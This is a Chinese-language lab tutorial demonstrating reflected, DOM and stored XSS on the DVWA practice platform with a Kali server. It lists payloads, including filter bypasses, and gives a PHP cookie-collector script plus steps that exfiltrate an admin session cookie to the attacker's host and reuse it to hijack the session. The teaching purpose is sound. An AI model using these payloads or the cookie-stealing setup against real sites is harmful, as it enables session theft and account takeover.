基于DVWA+KALI安全测试工具平台演示XSS注入的案例
一、XSS注入定义
跨站脚本攻击英文全称为(Cross site Script)缩写为CSS,为了与CSS样式区分,所以叫做XSS
XSS攻击也叫跨站脚本攻击,通常是利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码带网页,用户访问这些带有恶意指令的网页时,就会被劫持,从而让恶意攻击者获取用户的更高权限,达到劫持会话、繁殖蠕虫等目的。
二、XSS攻击原理
三、XSS注入分类
- 反射型XSS:又称为非持久型XSS,攻击者需要通过一些方法引诱用户点击包含XSS攻击代码的恶意链接,用户点击恶意链接后自动执行其包含的代码,实现XSS攻击,通常发生在搜索框,登录框等用户输入内容的地方;
- 存储型XSS:攻击者将攻击脚本直接上传到用户访问的服务器,使所有用户在访问该网站时,会自动执行攻击脚本,危害性大,通常发生在 留言板,评论区等用户输入内容的地方;
- DOM型XSS:DOM型XSS也是一种反射型XSS攻击,但是形式原理特殊,所以需要单独分类(修改DOM树的动作);
四、XSS工具常见的Case
(1)<script>alert('XSS')</script> //简单弹框 (2)<ScRiPt>AlErt('XSS')</ScRiPt> //过滤了大小 (3)<img src="#" onerror=alert("XSS")> //img 标签 进行绕过 (4)javascript:alert('xss') //使用 Javascript 的尾协议 (5)' onclick=' alert("xss") //利用 href 属性值来进行xss
(6)<script>document.write('<p>张三</p>');</script> // JavaScript修改 DOM树
五、案例演示
本次演示使用DVWA工具和KALI黑客平台,配置安装参考: DVWA靶场环境搭建+Phpstudy配置、kali linux安装配置与终端访问指导
1、反射型XSS演示
1-1、打开DVWA平台,我们把 DVWA Security 安全级别调整为LOW后,点击 Submit
1-2、选择XSS反射型案例,点击XSS (Reflected) ( Vulnerability: Reflected Cross Site Scripting (XSS) )
1-3、XSS反射型页面,在输入框中我们输入JavaScript脚本,验证是否存在反射型输入
(1)<script>alert('XSS')</script> //简单弹框 (2)<script>alert(document.cookie);</script> // 弹出当前登录的cookie信息
注意链接,存在script注入信息:http://localhost:6123/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E#
2、DOM型XSS演示
同样需要调整DVWA Security 安全级别调整为LOW后,点击 Submit
2-1、选择DOM反射型案例,点击XSS (DOM) ( Vulnerability: DOM Based Cross Site Scripting (XSS))
2-2、地址中,http://localhost:6123/vulnerabilities/xss_d/?default=English,我们注入XSS代码,default=<script>document.write('<p>张三</p>');</script> ,执行后查看下拉选项中是否新增张三的枚举值,如果新增则说明存在XSS注入风险;
3、存储型XSS注入演示
窃取用户的cookie信息并且保存到数据库中;
3-1、启动kali黑客服务器的应用Apache服务器
切换root权限,启动Apache
http://192.168.124.128/ 打开,显示Apache2 Debian Default Page
进入 cd /var/www/html 目录
新增 vi my.php 文件,输入如下命令:
<?php $cookie=$_GET['cookie']; file_put_contents('cookie.txt',$cookie); ?>
代码解读:我们获取cookie的值赋值给$cookie,然后$cookie变量把值存在到cookie.txt 中
# chown www-data:www-data my.php
┌──(root㉿kali)-[/var/www/html] └─# touch cookie.txt ┌──(root㉿kali)-[/var/www/html] └─# chown www-data:www-data cookie.txt
最后再重启下Apache
┌──(root㉿kali)-[/var/www/html] └─# service apache2 restart
3-2、登录DVWA平台,点击XSS (Stored) (Vulnerability: Stored Cross Site Scripting (XSS) )
打开BurpSuite工具,抓取/vulnerabilities/xss_s提交注册接口后,提交XSS在线的URLencode编码的信息,点击Send,查看数据库插入XSS获取Cookie的代码;
URL编码转换链接:http://www.urlencode.com.cn/
拦截放行数据:
http://localhost:6123/vulnerabilities/xss_s/ 进入 存储型XSS页面
查看数据库
再次复制链接:http://localhost:6123/vulnerabilities/xss_s/ 进入 存储型XSS页面,会执行XSS代码,把Cookie存储到kali服务器的Cookie.txt中;
执行会直接跳转到 http://192.168.124.128/my.php?cookie=PHPSESSID=l49mtbhea2ibp87b4h011b0ht0;%20security=low
我们再进入kali服务中,查看Cookie是否写入到Cookie.txt 中
获取到admin权限的token,此时我们使用smithy角色登录,再拦截篡改Cookie,这样就相当于smithy有admin权限的功能了
http://192.168.31.195:6123/login.php
拦截登录接口
(前提需要清理smithy登录前的cookie信息)
现在登录信息为admin信息